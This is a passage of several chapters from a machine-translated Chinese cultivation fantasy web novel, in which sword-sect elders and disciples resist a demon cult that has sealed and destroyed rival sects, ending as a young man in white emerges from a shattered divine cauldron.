    Tian Yuanqing and Nian Xuexin were silent for it, because everyone knew that the sword elders were extremely contemptuous of this Dao Tong Da Bi.


    But just when he was holding the sword and was about to say a few more words, he suddenly raised his eyes, who had been sitting idle, and his eyes burst into unprecedented divine light.


    "Demon?"

 Chapter 1319： Mitiansuo

    As soon as the voice fell, a very slight tremor came.


    Tian Yuanqing''s complexion couldn''t help but change drastically.


    At the same time, the figure holding the sword flashed, and the person disappeared from the table, only a voice came from afar.


    "Yuan Qing, notify all the sword repair disciples to start the sword immediately!"


    "Yes!"


    Following the voice, the figure holding the sword has crossed the barriers and flew to the top of Mingxin Palace.


    At the same time, after seeing several sword lights rushing forward, after standing still, there were four elders listening to the sword, sharpening the sword, imperial sword, and Shechem.


    The five elders of Mingxin Palace gathered together, and then looked into the distance solemnly.


    But I saw a black line slowly appearing in the sky, and then it came surging like a boiling tide, and the sun and the moon were dark wherever it passed.


    "Sure enough, the demon reappears in the world!" Holding the sword, he sighed and said slowly.


    Among the five elders, the youngest, but with the strongest temperament and strongest killing intent, Shechem sneered, "What about the demon? How dare to come to my Mingxin Palace to run wild? It seems that our sword is silent. It''s been too long, so long that these demons have forgotten their awe!"


    Having said that, he didn''t say hello to anyone. He jumped in, turned into a streamer, and flew to the front in an instant, and smiled contemptuously at the stormy waves and the imposing sky full of black tide.


    As soon as he raised his hand, a sword light took shape in an instant, then he raised his eyebrows and shouted coldly: "You evildoers, get out of here!"


    Having said that, the sword light flashed away, and when it appeared again, it had already rushed to the dark tide, and even the sword light became extremely bright.


    boom!


    After a loud noise, the sky full of dark tides that had originally come mighty was cut directly into the air by this sword.


    The exploded fireworks are even more dazzling like blossoming fireworks.


    This scene was also seen by most of the monks in Jianzhou.


    All of a sudden, there were applause.


    "Good sword!"


    "The meaning of the sword should be Elder Shechem of Mingxin Immortal Palace!"


    "Elder Shechem is such a quick posture. I just saw the spirit of the demon, and I was about to lift the sword to slay the demon. I didn''t expect to have been rounded up by his old man!" Jian Xiu said with regret.


    The four elders of Mingxin Palace smiled bitterly when seeing this scene.


    Especially holding the sword, he saw him say helplessly: "The fifth child is so old, why is his temper so hot? Do it without saying hello?"


    The gentlest disposition listened to the sword and smiled, "The fifth brother has this temper, otherwise he can''t practice the sword of killing!"


    The usual taciturn sharpening sword can''t help but say: "Fifth brother did a good job, anyway, this gang of demons and ghosts are all punishable!"


    "Yes! But the question now is, how can the ghosts that have long been absent from the world suddenly appear and dare to challenge my Mingxin Palace?" The elder Yujian, who is dressed in white, and although he is old, is still handsome and handsome, frowning and thinking. .


    At this moment, Shechem, who was also quite satisfied with his sword, couldn''t help laughing.


    "Dare to come to my Mingxin Palace with this strength? What a joke!"


    But as soon as his words fell, the entire Jianzhou suddenly started to shake, and then a shocking scene appeared in front of everyone.


    But seeing that along the edge of Jianzhou, black energy soared into the sky, turning into huge pillars of Optimus.


    Immediately afterwards, these Optimus pillars stretched out branches of black air, and then connected together.


    The moment it took shape, the entire Jianzhou was trembling, and even the spiritual power in the air was shaking.


    Then I looked at it again, but saw that the dense black air had firmly wrapped the entire Jianzhou.


    It looks like a cage.


    Everyone couldn''t help taking a breath.


    This is because all these changes are so fast that they are already taking shape before people can react.


    But at this moment, Shechem snorted, "Dare to trap my teacher?"


    With that, several sword lights suddenly appeared in front of Shechem, and then cut straight out.


    Boom boom boom!


    With several bursts of sound, the sword light, which has always been unprofitable, failed this time.


    Because when the sword light touched the black cage, the sword intent and power contained in it were instantly dispersed.


    So even though the cage trembles, it can''t help it!


    Shechem was furious, and was about to continue to draw his sword, but saw dozens of black lights suddenly appear in front of him and directly shook it out.


    "Fifth brother!"


    Holding the sword and others exclaimed, they rushed to the front in an instant.


    Shechem stabilized his figure. Although a little embarrassed, it was not a big problem. It was just that this humiliation made him feel that his face was really too much, so he said angrily.


    "Several brothers, please get out of the way, I have to destroy these evil methods today!"


    Holding the sword, he stopped him, "Don''t be impulsive!"


    "Brother, these demons are already bullying us, how can I not be impulsive?" Shechem said angrily.


    Holding the sword smiled bitterly, "The point is that you can''t solve any problems impulsively!"


    As he said, holding the sword raised his head and looked at the black cage that seemed to have vitality, which was slowly flashing, and an extremely solemn expression appeared in his eyes.


    "If I guessed correctly, this should be the means of people in the ghost education, and this cage is the lock of the sky!"


    Ghosts!


    This title made several elders, as well as the big disciples such as Tian Yuanqing who arrived afterwards, all shocked.


    "How is it possible? Didn''t this ghost teaching have been completely wiped out by Master and the others?" Yu Jian was shocked and said in amazement.


    Holding the sword showed a wry smile, "Old fourth, you are right. Master and the others did completely wipe out the arrogant ghost teachings in this world, but you should not forget that our world... Where is the nearest?"


    Hearing the sword say so, everyone showed a very solemn color.


    Because if the guess is true then... the consequences are simply unimaginable!


    At this moment, a branch suddenly grew above the black cage, and the leaves on the back branch were colorful, and a flower bud instantly turned into a flower bud and slowly bloomed.


    In an instant, a demon with two faces appeared among the flowers.


    Although these two faces are very delicate and moving, they look chilling.


    Because these two faces are connected in a very strange way.


    Then I saw this demon giggling, "Sure enough to be the current Immortal Sect guarding this world, he guessed our origins so quickly! That''s right, we are the ghosts!"


    Holding the sword, his face sank, and he said coldly, "What do you want to do?"


    "What do you want to do? It took so much effort, of course, to welcome the arrival of the Empress!" The double-faced ghost laughed very arrogantly.


    The title of Empress also changed the complexion of those holding swords and others.

 Chapter 1320： Disciples wish to

    "Holding the sword, I am here to give you a chance. As long as you are willing to take refuge in the embrace of the Empress, then our ghost teaching is very welcome!" The demon chuckled.


    As soon as the voice fell, Shechem was furious and cut out with a sword without hesitation.


    boom!


    The demon that had just been bred from the flowers was directly blasted to pieces.


    Then Shechem roared, "Wishful thinking! What qualifications do you and other demons have to compare with my Mingxin Palace?"


    At the same time, I heard an angry grunt from outside the cage, "What a bunch of stubborn sword lunatics! I am kind, but you are so obsessed! Then wait to be trapped and die here! By the way, I I almost forgot to tell you!"


    Speaking of this, the female voice made a triumphant smile, "At this time, the big caves in the outside world should have been wiped out! Now, only one of you Mingxin Immortal Palace is left to hold on!"


    "What?" Elder Yujian reacted first, and then said angrily: "Did you move your hands and feet to this Dao Dao Competition?"


    "Tsk tusk, really smart! That''s right, as long as it is a participant in the Orthodox Grand Contest, none of them are spared this time, they are all dead!" the female voice said proudly.


    Nian Xuexin screamed, then shouted with a hint of crying: "Brother Fang..."


    "So I advise you to do it yourself! After all, after the Empress arrives a few days later, even if you want to surrender at that time, you will probably not escape death! Think about it yourself!"


    Shechem was angry, "Asshole!"


    After saying that, he cut out with a few more swords, but this time nothing was shaken except for slightly shaking the black cage.


    The female voice laughed triumphantly, and then fell silent.


    The faces of the people in Mingxin Palace standing in the field were extremely ugly.


    If what this demon said is true, then there is only one Mingxin Palace left in the Seven Caves.


    Although Mingxin Palace''s strength is tyrannical, when facing this gang of prepared demons, it is obviously difficult to sing alone.


    "Brother, what should I do?" Mo Jian and other elders all looked at their swords, who bowed their heads in silence.


    As the chief elder of Mingxin Palace, his decision represents the direction for everyone.


    After a while, holding the sword slowly raised his head, looking at everyone with piercing eyes.


    "It doesn''t matter if what the demon said is true or false, but the matter is at this point, we must first find a way to contact the outside world, especially with other people in the world, otherwise we will just sit and wait!"


    Everyone nodded.


    Holding the sword, let out a sigh of relief, and said in a deep voice: "Although I usually look down on the other big caves of the fly-ying doggou and calculating with each other, but now we are facing the same disaster, the seven big caves are connected with the same air and share the same integrity. We Everyone must be rescued as much as possible, after all...this is also saving ourselves!"


    "Understood! Brother, let me go!" Shechem said first.


    "I''ll go too!" Yu Jian also said immediately.


    But Grinding Sword and Listening Sword did not speak, because they knew that since they said that with the sword, there must have been arrangements.


    really.


    He shook his head and smiled bitterly, "Fifth brother, fourth child, I can understand your feelings. If possible, I am willing to let you go. After all, your strength and strategy are sufficient, but the key is..."


    Holding the sword, he raised his head and looked at the sky full of black energy that had divided the sky into pieces, and said in a deep voice, "This Mietian lock is not so nice!"


    "What do you mean?" Shechem was taken aback.


    "This Heaven Extinguishing Lock is a ghost world secret technique that I have mentioned when my master was alive. This technique is extremely evil. It is taken from the most vicious spirit of ghosts in the ghost world, and then refined. After it takes shape, once it is deployed, everything will be sealed off!"


    "Although there is a lack of lethality, the insidious thing about this technique is that the more powerful the person is, the deeper the **** is, and the more difficult it is to get out! This also leads to It has become a special trick to deal with the strong!"


    Hearing the explanation of holding the sword, Shechem''s expression was extremely ugly.


    Yu Jian moved slightly, and then said: "That Brother Yi meant..."


    Holding the sword and nodded, "Yes!"


    As he said, he looked at Tian Yuanqing and Nian Xuexin and other disciples standing aside, "I am going to send Yuan Qing and others to this trip!"


    Hearing these words, the elders such as Shechem and Grinding Sword were all disgraced.


    Especially the gentle temperament, the elder Tingjian, who is loved by the disciples of the faction, immediately said: "Brother, I think this is not a problem! Although Yuanqing and the others have a good level of cultivation, their sword intent is good, but after all they are only children! After going out, if you encounter a strong man in the ghost world, wouldn''t it be..."


    But before he could finish his words, Tian Yuanqing already bowed his head and said: "Follow the order of the master!"


    Listening to the sword, he was taken aback.


    Then Tian Yuanqing smiled at him, "Listen to Uncle Sword Master, I know you are good for us, but as a disciple of sword repair, how can you shrink back in the face of difficulties? Don''t you always teach us, the swordsman, the heart is also Huh?"


    Hearing Jian heard the words, a wry smile appeared, "Although I say that, but..."


    Nian Xuexin was already excited and about to jump up. She had practiced in the school since she was a child and had never gone down the mountain. This time she was naturally excited when she heard that she was sending herself and others out of the mountain, so she hurriedly said.


    "Senior Uncle, I think what Senior Brother said is correct, and this time we are not only going to explore the situation of the other big caves, but also to find the whereabouts of Senior Brother Fang Xing''an!"


    "Yes, the disciple is willing to go!" With the voice, all the inner chambers of Mingxin Palace stepped forward and said.


    Seeing this, Hearing Jian sighed slightly, and then shook his head.


    The other elders were also silent.


    Holding Jian''s heart trembled lightly, his eyes swept across these young faces, and finally nodded.


    "Okay! As expected, I am a disciple of sword repair under my Mingxin Palace!"


    Even if these disciples want to pass the barrier of Mietian Lock, it is not easy.


    A few elders, including Yujian and Grinding Sword, worked together, and finally it was considered as opening a small gap.


    Naturally, so many disciples couldn��t all go out. In the end, Tian Yuanqing selected a few senior brothers. Although Nian Xuexin was young and a woman, because of a clear sword heart, her strength was second only to Tian Yuanqing and Fang among her peers. Xing''an, of course, should follow Just as they were about to embark on their journey, Shechem came forward, silently imposing a sword intent on everyone, and then patted lightly. Tian Yuanqing''s shoulders.


    "After going out... Be careful!"


    "Yes!" Tian Yuanqing bowed.


    "If you encounter a monster you can deal with, remember to kill a few more for me!"


    Tian Yuanqing was stunned for a moment, then bowed his hands deeply, "Understood!"


    When Tian Yuanqing and the others left Jianzhou through the Sky Destruction Lock, they disappeared from the sight of everyone.


    Tingjian couldn''t help but said, "Brother, are these kids really all right?"


    Holding the sword and shook his head, "I don''t know either!"


    "Then what are we doing, just sit here and wait?" Shechem said grumblingly.


    Holding the sword up, he was silent for a moment, and then said: "I have a hunch, it will soon become less peaceful here!"

 Chapter 1321： What is a Taoist heir!

    Whoosh!


    Several sword lights split the black cloud and moved forward quickly.


    When they came to a blessed place in the center of the cave, the sword light stopped one after another. After the figure appeared, it was Tian Yuanqing and Nian Xuexin under the gate of Mingxin Palace.


    At this moment they are in the place where Huangshatang in the fifth hole is located, but the Huangshatang at this moment has long lost its former prosperity and excitement.


    The old courtyard has completely collapsed, with layers of black mist covering it, not even a trace of human figures can be seen. The entire Huangsha Hall, and even the entire fifth cave, are empty, like a ghost.


    Tian Yuanqing''s face was solemn, because this was already the fourth destroyed cave sky they had seen along the way.


    The situation is basically the same, all sects are destroyed, and the whole cave sky is empty, except for the dark clouds that linger in the sky, not even half of the demons.


    This situation has also made Tian Yuanqing''s mood even heavier.


    We must know that although he has not experienced the demons and ghosts of the year, he has heard the master and the others mention it more than once.


    But even when the power of the demon was extremely powerful, it hadn''t shaken the seven great cave talents.


    But this time, four cave heavens have been destroyed.


    Even Nian Xuexin, who always loves to laugh, has a very serious face at this moment, and said solemnly, "Brother, do you want to disperse all these demon spirits?"


    Tian Yuanqing shook his head, "No, these caves are already in the airspace, and there is not even a demon. It is useless to dispel these ghosts, but it is a waste of cultivation!"


    "Then what do we do next?" Nian Xuexin asked.


    Tian Yuanqing looked at the distant sky, slowly sighed, and said firmly: "Continue to check other caves, I don''t believe these demons can really shake the sky!"


    Nian Xuexin nodded, and then asked hesitantly, "Which will the next cave sky be?"


    Another senior brother standing aside said solemnly: "Jinding Pavilion!"


    "Golden Ding Pavilion? Is that the weakest Dongtian who has always been in the last place?" Nian Xuexin was taken aback for a while, and then shook her head.


    "I don''t think there is any need to go. After all, we have seen all the way along the way. Even the Second Cavern Ecstasy Hall was not spared from this catastrophe. The Golden Ding Pavilion is estimated to be a wasteland!"


    Several other disciples also nodded.


    But Tian Yuanqing shook his head, "Even if there is a glimmer of hope, we can''t give up! If Jinding Pavilion is also a wasteland, then we will go straight to the third cave Tianxiangsiyuan!"


    Hearing the three words Xiangsiyuan, everyone''s eyes flashed with light.


    Nian Xuexin also nodded and said, "Yes, after all, the Taoist Grand Tournament is held in Xiangsi Garden. We have to go and see what''s going on there!" At this point, Nian Xuexin''s expression was a bit sad, "I don''t I believe Brother Fang died like this!"


    Tian Yuanqing sighed lightly, knowing that she had the best relationship with her junior brother Fang Xing''an, and naturally it was difficult to accept what had happened.


    "Okay! Let''s go now!"


    Tian Yuanqing took the lead and turned into a sword light to open the way. Nian Xuexin and other disciples followed closely behind, splitting the black cloud and disappearing into the vast darkness.


    Jinding Pavilion.


    The elders and all the true disciples gathered in the chamber. In the huge hall, there was no sound, and everyone was silent.


    And above the entire Golden Ding Pavilion is a thick light curtain, which envelopes the Golden Ding Pavilion, exuding bright golden light and dispersing the darkness of the surrounding world.


    This is the Golden Light Array that protects the entire Golden Ding Pavilion from falling.


    But despite this, the faces of the participants did not have the slightest joy.


    a long time.


    The chief elder with the deepest qualifications and strength can be regarded as the strongest in the Jinding Pavilion now and slowly sighed.


    "How long can the spirit stone last?"


    "Elder Hui, consume it at the current rate, at most... it can last a day!" The elder in charge of the Lingshi warehouse said bitterly.


    Although it had been predicted, the crowd couldn''t help a commotion after hearing the number one day.


    A deep uneasy color appeared on everyone''s face.


    After all, they all understand that when the spirit stones are consumed, this golden light array will be broken, and by then, all those present may be hard to escape.


    The fear of death has creeped into everyone''s heart.


    At this moment, the chief elder patted the table lightly, and said tiredly: "Okay, all be quiet!"


    The crowd gradually calmed down.


    The chief elder slowly glanced at the audience, and then whispered softly: "Remove the spirit stone for the most important time. Now... let me put it on top of this old bone!"


    As soon as this sentence came out, everyone in the audience was shocked, and many people looked at the chief elder with horror.


    When Fuguang was still in place in the past, this great elder was always taciturn, even if Xue An took over Jinding Pavilion later, he didn''t have much sense of existence.


    So when these words came out of his mouth, many people were naturally shocked.


    The elder smiled, "Although old people are also greedy for life, and even more afraid of death! But the dignified Jinding Pavilion, thousands of years of Taoism inheritance, can never be destroyed in the hands of a bunch of pickled things! And don��t look at my old age, But if this old bone can support this mountain protection formation, it can last a while!"


    As he said, the great elder stood up slowly, a somewhat thin figure, but at this moment it looked so tall!


    Many people''s eye sockets are moistened.


    "Elder!" Someone yelled softly.


    The chief elder bowed his eyebrows and walked forward slowly.


    At the same time, an even more shocking scene happened.


    I saw all the elders in the elder''s seat stand up, and then followed the chief elder.


    "Count me!" It was Elder Liu of the Penalty Hall, who is usually known for his love and greed, but at this moment, he no longer has the usual wretchedness, but has a calm face.


    "Old Liu, I didn''t expect that you guy could stand up too!" a chubby elder said with a smile.


    "Old pig, aren''t you the same?" The elder Liu also showed a slight smile.


    This chubby old man is the elder who is in charge of the inheritance of Jinding Pavilion Taoism ~ www.novelhall.com~ because he loves food too much, and his surname is Zhu, so he has always been jokingly called an old pig in private.


    "Hehe, how can I be less of these things?" Old pig smiled.


    "Old guy, it''s not worth making friends with you!" Elder Liu felt a little sore in his eyes.


    At this moment, all the elders of Jinding Pavilion got up and followed behind the chief elder, and slowly walked out of the door.


    All the disciples respectfully drew a path. In the usual, although they would do this, it was all out of etiquette, but this time, it was completely from the heart.


    These disciples all looked at these elders with respect.


    These elders may have flaws of one kind or another, but when they encounter the Dao Fa''s major enemy of life and death, even the most humble people will come forward.


    No one wants to live, but they can''t bow their heads in the face of demons!


    Because they are all descendants of Taoism!

 Chapter 1322： Disciple

    When a huge amount of cultivation came out of the chief elder''s body, Jin Guang even made his eyebrows red!


    Immediately afterwards, his figure began to age at a speed visible to the naked eye.


    One hour, two hours.......


    When the time came to the fifth hour, I saw that the chief elder''s body was already shaking, and his face was as thin as a skeleton.


    "Great Elder, come down, and come on for me!" an elder cried out sadly.


    But the chief elder showed a relief smile on his face, shook his head, and then tried to open his dim gaze, looked at the black clouds that gathered in the sky, and whispered: "I''m not a disciple, this It''s the only thing I can do!"


    After that, he slowly closed his eyes, and a bright golden light shot straight into the sky from the top of his head.


    Seeing this scene, everyone present was shocked.


    An elder looked up, and whispered with a dull expression: "Elder, this is... to explode!"


    The voice just fell.


    I saw the body of the chief elder suddenly disintegrating, releasing a huge amount of golden light from it, condensing into a huge talisman on the sky, and then hitting the black cloud in the distant sky.


    boom!


    With a loud noise, a huge amount of black clouds were directly evaporated to nothing by this talisman seal.


    And there was a demon howl from it.


    "Asshole, aren''t you people of Taoism all lunatics? Why do you explode at every turn?"


    Following this violent roar, everyone at Jinding Pavilion bowed and shouted in a choked voice, "Send the Great Elder!"


    Immediately afterwards, there was an elder who took over the position of chief elder without hesitation.


    The standoff continues!


    The black cloud condensed again, and then the figure of the demon appeared from it. He looked at the scene in the Golden Ding Pavilion and sneered a few times gloomily.


    "Tsk tusk, it''s really admirable courage, actually relying on human lives to maintain the mountain protection formation! Well, then I will see how many lives you can fill!"


    The words are full of arrogance and pride.


    No one paid any attention to his provocation.


    All the people in the Golden Ding Pavilion were silent.


    The monster laughed a little bit of a joke, and just wanted to continue to say a few provocative words, just at this moment, but seeing the sky from far away, several sword lights suddenly appeared.


    This sword light came extremely fast, but it had already cut through the layers of black mist before rushing to the front.


    The demon shook his whole body and exclaimed, "Sword repair?"


    With that, he turned around and wanted to run.


    But at this moment, I only heard a cold drink from the front sword light.


    "Monster, where to run!"


    With this shout, I saw a bright sword light slashing past, and instantly penetrated the body of this demon.


    The demon gave a terrible cry and was split into two.


    But then the two halves of the ghosts wanted to escape from left to right.


    Nian Xuexin screamed, "Sword Ruoxueyi!"


    boom!


    Countless fragments of sword glow scattered like snowflakes, directly covering this demon.


    "Mingxin Palace, aren''t you gang of sword lunatics trapped by Mietian Lock? How could they run out?" The demon howled unwillingly.


    "Huh! By the side, you want to trap grandma and me too?" Nian Xuexin raised her eyebrows and shook her palm lightly.


    Just listen to a loud noise.


    The demon was killed.


    Nian Xuexin was very excited, because this was the first time she had slayed a demon, so she was naturally very happy.


    "Big brother, do you think my sword was powerful just now?"


    Tian Yuanqing nodded pettingly, "Awesome!" But he didn''t mention the sword intent that he had just secretly restrained the demon ghost.


    Nian Xuexin happily began to slay these demon spirits.


    At this time, everyone at Jinding Pavilion also saw the scene just now.


    When they saw the people from Mingxin Palace, they couldn''t help but cheer.


    When the chief elder died, the second elder flew up, and said to Tian Yuanqing across a large formation.


    "The second elder of Jinding Pavilion, I have seen fellow Taoists in Mingxin Immortal Palace!"


    Tian Yuanqing smiled and gave a salute, but his eyes swept across the entire Golden Ding Pavilion. Although the Golden Ding Pavilion was slightly dilapidated, the disciples of the disciples were calm, and it was rare that they were not perished in this catastrophe. Take a high look.


    "I have seen the second elder, I am Tian Yuanqing, the major disciple of Mingxin Palace. I was ordered by my master to go out to explore the situation of the catastrophe, but along the way, the other great caves and heavens have all been destroyed. Fortunately, the noble faction is still there. !"


    The second elder nodded, and said solemnly: "But I don''t know if Daoist Tian can go to Xiangsiyuan? What is the situation of those Daoists who participated in the Taoist Grand Contest?"


    Tian Yuanqing shook his head, "Because Acacia Garden is the farthest away, we have not yet gone! But now that the cave sky here has recovered, we have to go and find out!"


    Hearing these words, the second elder turned around and looked at the crowd with searching eyes.


    The many elders in Jinding Pavilion understood each other, and then nodded one after another.


    "This calamity is no trivial matter. Instead of sitting here and waiting for death, it is better to follow the fellow Taoists of Mingxin Immortal Palace to Acacia Garden to find out, so as to save my head and others!"


    These elders reached a consensus in an instant.


    After hearing what everyone said, Tian Yuanqing was taken aback for a moment, and then nodded solemnly.


    He knew very well that even though he and the senior brothers and sisters were both good at strength, it was completely unknown what enemy was in front of him.


    Although the strength of the elders of the Golden Ding Pavilion is not too high, the number of people is always more powerful!


    Especially in this crisis, we should cooperate sincerely.


    "Okay, then we will set off immediately!" Tian Yuanqing replied in a deep voice.


    For a time, the brilliance of the Jinding Pavilion was everywhere.


    Because Jinguangdongtian was considered to be temporarily safe, only some people were left to look after the house, and the rest all flew up and followed Tian Yuanqing and the others to Xiangsi Garden.


    Because the journey is far away and the Taoism of Jinding Pavilion is not good at driving, Tian Yuanqing also attached a sword intent to everyone to help them on the way.


    Acacia Garden.


    Baihan, who had already aged a lot, vomited blood again.


    This is the demon ghost trying to break through the mountain protection formation, but under her control, it once again stubbornly survived.


    During this time, Bai Han has become the backbone of the entire Acacia Garden.


    If it hadn''t been for her efforts to maintain, it might have been broken by the demon.


    But this also made Baihan pay a great price.


    For example, she now looks like a middle-aged woman in her 40s or 50s.


    This is the reason for forcibly overdrawing too many cultivation bases, causing damage to the fundamental vitality.


    But at this moment, Bai Han has not cared so much. She wiped the blood from the corner of her mouth, spit out a **** saliva, and laughed at herself.


    "I didn''t expect that one day I could vomit blood and get used to it!"

 Chapter 1323： Jian Ruoxueyi

    With that, she raised her head and looked at the mountain guard formation.


    Through the layers of fog, she could clearly see that in the wave formed by the sky full of black clouds, the demon with sores on the face was a thousand feet tall, overlooking the Acacia Garden. .


    The two made eye contact, the demon Jiejie laughed strangely, but the beautiful woman with facial sores on his head spoke first.


    "Tsk tusk, haven''t seen you for a few days, have you already become this kind of virtue? Bai Han, I really wonder, is it worth it that you have paid so much for this mere Acacia Garden?"


    Baihan smiled coldly, then raised his hand and compared a **** viciously at the demon.


    "My old lady is happy! Can you control it?"


    "Huh! You people of the tradition are really smelly and hard, then I''ll see how long you can last!"


    After that, I saw this demon raising his fist and hitting the mountain guard formation with one punch.


    boom!


    The light curtain of the mountain guarding formation flickered, and the whole Acacia Garden also trembled.


    Not surprisingly, Bai Han vomited two big mouthfuls of blood again, his appearance instantly aged a bit, but he stubbornly held on.


    But this demon had obviously lost his patience and didn''t plan to wait any longer, only to see him grinning.


    "I will send you on the road now!"


    As he said, the other hand was also raised, and he was about to fall.


    But at this moment.


    But seeing a cyan sword light suddenly rushed out of the black cloud, and then slashed across the demon''s wrist with lightning speed.


    Click!


    After an explosion, the demon roared, and then his wrist was broken.


    "Who?" The demon roared angrily.


    But the answer to him was a soft rant.


    "Sword Ruoxueyi!"


    The shredded sword light completely concealed this monster''s tall figure.


    The sword glow is like snow, but it is invincible.


    The demon roared loudly, but it was not over yet, immediately followed by golden light talisman seals pouring into this demon''s body like no money.


    Amidst the bang, the demon''s body was completely shattered.


    The huge head fell slowly.


    Everyone in Acacia Garden was stunned, and Bai Han was even more shocked.


    At the same time, a group of people flew out of the dark clouds.


    Headed by Tian Yuanqing.


    They barely stopped on the way, so they came over so quickly.


    When they saw the people in Mingxin Palace and Jinding Pavilion, the female disciples in Xiangsiyuan couldn''t help but burst into tears of joy.


    Bai Han let out a sigh of relief, then staggered to his feet, arching his hands toward the sky.


    "Thank you fellow daoists for helping!"


    Although Tian Yuanqing didn''t recognize Bai Han, she could guess what was happening by looking at the blood stains on her body and her aging appearance, and her expression became very solemn.


    "Friends of Taoism are polite!"


    Nianxuexin on the side was already unable to hold back, and asked first: "Friends, how long have my brothers been in the big competition?"


    Bai Han smiled bitterly and said: "It''s been... three days!"


    This number makes everyone''s heart beat.


    Because the Taoist Grand Tournament usually ends in one day, it has never been delayed to three days.


    Tian Yuanqing looked solemn, "Excuse me, where is the Taoist Evolvement Tripod?"


    Bai Han said: "In the giant city on the side, I..."


    She just wanted to say that I will take you to see what''s going on!


    But at this moment, there was a burst of female laughter.


    The laughter was full of ridicule.


    "Who?" Tian Yuanqing shouted in a deep voice, surrounded by sword intent.


    The others are also ready.


    The black clouds all over the sky suddenly rushed into the wind, and in an instant, a huge whirlpool appeared in the center of the sea of ??clouds, and then in the cloud pillar of the whirlpool, a slender woman was slowly emerging.


    Then I heard the woman let out a smug laugh, "What a bunch of funny guys, are you still not giving up at this time? It''s good, just to sacrifice you to the Empress!"


    Following the voice, the woman walked out of the cloud column slowly, after seeing her appearance.


    Baihan trembled all over and let out a scream, "You are that... the sore on the head of that demon!"


    The woman smiled charmingly, "Yes, you got it right!"


    As she said, her eyes flowed, she glanced at everyone in the audience, and smiled lightly: "I have to thank you all for speaking of it, otherwise I can''t transform so quickly!"


    Tian Yuanqing''s face was solemn, and he didn''t talk nonsense. He raised his hand and cut it out with a sword.


    He could feel that the ghost aura on this woman was much more powerful than the demon just now.


    The strength is so strong that the world is shaking slightly.


    So Tian Yuanqing wanted to start first.


    Unexpectedly, this sword light just rushed to the woman and broke away.


    "I really don''t understand Lianxiangxiyu, how can I fight and kill people when I see them! This kind of people will be sad!" The woman Jiao said.


    Tian Yuanqing''s heart sank to the bottom, because he suddenly discovered that the spiritual power around him was fluctuating wildly.


    At the same time, I saw a vicious look flashing in this woman''s eyes, "Since you want to kill me so much, then I will let you taste despair first!"


    With that, the woman suddenly pulled out the hairpin from the back of her head, and a blue silk pouring down, with a kind of illusory beauty in the shadow of the dark clouds.


    The woman held this hairpin with a respectful look on her face, and then raised her hand to draw in the air.


    "Quickly stop him!" Tian Yuanqing roared angrily.


    In fact, there is no need for him to remind, because no one knows what will happen after this woman finishes writing, and no one wants to try it.


    See the sword shadow heavy, golden light shining.


    But all the attacks arrived in front of the woman, and disappeared silently like snow entering the oven.


    At the same time, a very pure black light flashed above the woman''s hairpin, filling in the last stroke.


    boom!


    This is a talisman that exudes extremely evil and ferocious aura. The moment when the talisman was made, the whole world suddenly sank.


    And Tian Yuanqing, Nian Xuexin, and everyone in Jinding Pavilion and Xiangsiyuan felt shocked, and then found with extreme horror that her whole body''s cultivation and spiritual power were sealed, and she could not even move her fingers. Floating passively in the air.


    The woman laughed triumphantly.


    "Want to fight with me? This is the ghost weapon that the Empress gave me personally!"


    Nian Xuexin struggled a few times and found that she couldn''t move at all, she couldn''t help but angrily said: "Demon, you have the ability to kill grandma aunt now, grandma is not afraid of death!"


    "Kill you? Haha, don''t worry, none of you can live! But it''s not here. After all, you are all strong, so naturally you can''t waste it!"

 Chapter 1324： Xue An returns to the power of a punch

    "What are you going to do?" Nian Xuexin widened her eyes.


    "Hehe, naturally I sacrificed you...!" The woman giggled.


    Everyone''s hearts gradually sank, and despair appeared in their eyes.


    "Dare you!" Nianxue roared in anger in her heart.


    "Don''t you say I dare?" The woman sneered, and then waved the hairpin in her hand.


    All the trapped people floated into the air, and then flew away with the woman.


    "Where are you taking us?" Nian Xuexin roared.


    Bai Han had already seen the changes around him at this time, and said with a gray face: "It''s a giant city, she wants to take us to the Taoist evolvement of the gods!"


    "That''s right!" The woman laughed, and then stopped.


    at the same time.


    But seeing the black cloud in front gradually dissipated, revealing the huge field of [58 novel www.58xs.vip].


    And on the high platform of the square, the Taoist evolution gods stand impressively.


    The woman sneered and said: "Did you see it? The people from the big caves have been killed in this divine cauldron, and you will also serve as sacrifices and become the blood food when the Empress comes!"


    Blood food!


    This title makes everyone''s heart tensed.


    They are not afraid of death!


    However, as a heir of the Taoism, he eventually became the blood food of the demon, and helped the evil spirits come to the powerful demon. This method of death is really unacceptable.


    "Demon, even if I die, I won''t let you go!" Nianxue cursed with anger.


    The woman laughed, "Don''t let me go when you die? Why? Do you want to be a ghost too? Unfortunately, when you are enjoyed by the Empress, you don��t even have the qualifications to be a ghost, and you will become the Empress. The puppet of your lord can never be overborn!"


    Nian Xuexin and many young people were frightened by the tragic situation described by this woman.


    Especially Nian Xuexin, she choked up and said, "I don''t want to be a puppet, I want to die!"


    Tian Yuanqing and the brothers in Mingxin Palace all roared when they heard the words, "Whoever, you have the ability to let us be puppets, let our sisters go!"


    "Yes! What are you capable of dealing with a woman?"


    The woman grinned with an evil grin, "I will deal with women, what can you do?"


    With that said, when she raised the hairpin in her hand, Nian Xuexin screamed, and flew to the woman. The fear of becoming a demon blood food made her cry.


    "Brother!"


    Tian Yuanqing had already burst into tears, her heart entangled with self-blame and regret, she couldn''t help shouting: "Xue Xin, close your eyes, it will pass soon!"


    Nianxue Xinyiyan slowly closed her eyes, shaking her whole body.


    The woman sneered, and then the hairpin stabbed down.


    But just when her hairpin was just halfway through.


    The Taoist evolution divine cauldron on the high platform behind him suddenly trembled.


    At the beginning, the amplitude of the tremor was still very small, making people mistakenly thought it was an illusion, but then, the second tremor was much larger, and even the entire square was shaken.


    The woman was startled, she couldn''t help stopping the movement in her hand, then turned her head to look.


    Just at this time, only a burst of crackling sound came from this Taoist evolution divine cauldron, and then a series of fine cracks appeared on the huge cauldron.


    Immediately afterwards, there was a loud bang, and this Taoist evolution **** cauldron shattered, and a brilliance rose to the sky, and its momentum even swept away the black clouds in a radius of a hundred miles.


    This wonder looks silly everyone.


    Including this female demon, everyone watched this scene blankly.


    It wasn''t until a moment later that the female demon trembled all over and regained consciousness, and then shouted in surprise, "What''s going on?"


    To know that she was sent to the third cave, the most important responsibility is not to destroy the Acacia Garden that has become an empty nest, but to guard this Taoist evolution divine cauldron.


    Because this Taoist evolving divine cauldron has so many magical uses, it is very important to the lady emperor.


    Unexpectedly, this demon was naturally full of panic when something happened suddenly.


    But at this moment, a calm voice came from Guanghua.


    "Fortunately, it''s not too late to come back!"


    Following the voice, I saw a young man in white slowly stepping out of the brilliance, standing in the void, overlooking the audience.


